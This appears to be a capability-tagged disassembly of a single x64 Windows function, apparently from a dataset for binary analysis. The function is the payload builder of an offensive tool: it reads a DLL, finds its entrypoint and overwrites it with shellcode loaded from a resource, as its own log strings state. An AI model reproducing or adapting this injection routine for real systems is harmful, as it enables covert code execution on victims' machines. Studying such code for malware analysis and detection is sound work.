Function at 0x140005780
Capabilities:
Extract resource via kernel32 functions
Get file size
Read file on windows

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x300
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
mov r15, rdx
mov rsi, qword [0x140028d40]
xor r14d, r14d
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], r14b
xor eax, eax
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x68], r14d
xor edx, edx
mov r8d, 0x270
lea rcx, [rbp - 0x80]
call fcn.140007fc0
mov dword [rsp + 0x30], 0xc9874890
mov dword [rsp + 0x34], 0x4dd28748
mov dword [rsp + 0x38], 0x874dc087
mov word [rsp + 0x3c], 0x90c9
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea rdx, [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x58]
cmp rax, rdx
ja 0x140005862
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rcx, qword [rsp + 0x48]
mov byte [rcx + rax], r14b
jmp 0x1400058b7
mov rdi, rax
sub rdi, rdx
mov r8, qword [rsp + 0x60]
mov rcx, r8
sub rcx, rdx
cmp rdi, rcx
ja 0x1400058a2
mov qword [rsp + 0x58], rax
lea rbx, [rsp + 0x48]
cmp r8, 0x10
cmovae rbx, qword [rsp + 0x48]
add rbx, rdx
mov r8, rdi
xor edx, edx
mov rcx, rbx
call fcn.140007fc0
mov byte [rbx + rdi], 0
jmp 0x1400058b7
mov byte [rsp + 0x20], 0
mov r9, rdi
mov rdx, rdi
lea rcx, [rsp + 0x48]
call fcn.1400016f0
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x68]
mov r8d, dword [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140005b59
mov eax, dword [rsp + 0x68]
cmp rax, qword [rsp + 0x70]
jne 0x140005b59
lea rcx, [rsp + 0x48]
call fcn.140003a50
mov rbx, rax
mov rcx, rax
call qword [sym.imp.dbghelp.dll_ImageNtHeader]
test rax, rax
jne 0x140005924
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.FindOffsetOfEntrypoint:_ImageNtHeader_failed_with_GLE__u.__Is_this_a_PE_file_
jmp 0x140005b66
mov ecx, 0x8664
cmp cx, word [rax + 4]
je 0x140005945
lea rdx, str.FindOffsetOfEntrypoint:_Only_x64_is_supported
mov ecx, 3
call fcn.140005ca0
jmp 0x140005b73
xor r9d, r9d
mov r8d, dword [rax + 0x28]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.dbghelp.dll_ImageRvaToVa]
mov rdi, rax
test rax, rax
je 0x140005b73
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rcx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
sub rsi, rax
add rsi, rcx
movsd xmm0, qword [rsp + 0x30]
movsd qword [rax], xmm0
mov eax, dword [rsp + 0x38]
mov dword [rdi + 8], eax
movzx eax, word [rsp + 0x3c]
mov word [rdi + 0xc], ax
mov edx, 0x3e8
xor ecx, ecx
lea r8d, [rcx + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x1400059c5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.GetShellcode:_FindResource_failed_with_GLE__u
jmp 0x140005b66
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
jne 0x1400059f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.GetShellcode:_LockResource_failed_with_GLE__u
jmp 0x140005b66
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test eax, eax
jne 0x140005a16
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.GetShellcode:_SizeofResource_returned_0_and_GLE__u
jmp 0x140005b66
mov r8, rbx
cmp rbx, rsi
jbe 0x140005a30
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.GetShellcode:_SizeofResource_returned_0_and_GLE__u
jmp 0x140005b66
lea rcx, [rdi + 0xe]
mov rdx, r14
call fcn.140009cd0
mov r8d, ebx
lea rdx, str.GetShellcode:__u_bytes_of_shellcode_written_over_DLL_entrypoint
xor ecx, ecx
call fcn.140005ca0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea esi, [rbx + 0xe]
lea rcx, [rbp - 0x80]
call fcn.140005450
test al, al
je 0x140005b73
mov rbx, qword [rsp + 0x58]
mov eax, esi
add rdi, rax
lea rcx, [rsp + 0x48]
call fcn.140003a50
lea rcx, [rbx - 1]
add rcx, rax
lea rax, [rdi + 0x270]
cmp rax, rcx
jbe 0x140005aa7
lea rdx, str.Not_enough_space_for_SHELLCODE_PARAMS
mov ecx, 3
call fcn.140005ca0
jmp 0x140005b73
lea eax, [rsi + 0x270]
mov dword [rbp - 0x78], eax
lea rax, [rbp - 0x80]
mov ecx, 4
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdi + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdi + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdi + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdi + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdi + 0x60], xmm0
lea rdi, [rdi + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdi - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x140005ac0
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdi + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdi + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdi + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdi + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdi + 0x60], xmm0
lea rdx, [rsp + 0x48]
mov rcx, r15
call fcn.140005bf0
mov bl, 1
jmp 0x140005b75
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.BuildPayload:_ReadFile_failed_with_GLE__u
mov r8d, eax
mov ecx, 3
call fcn.140005ca0
xor bl, bl
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140005bae
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ba9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005bdd
call fcn.1400067d0
movzx eax, bl
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140006770
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14000a34c
int3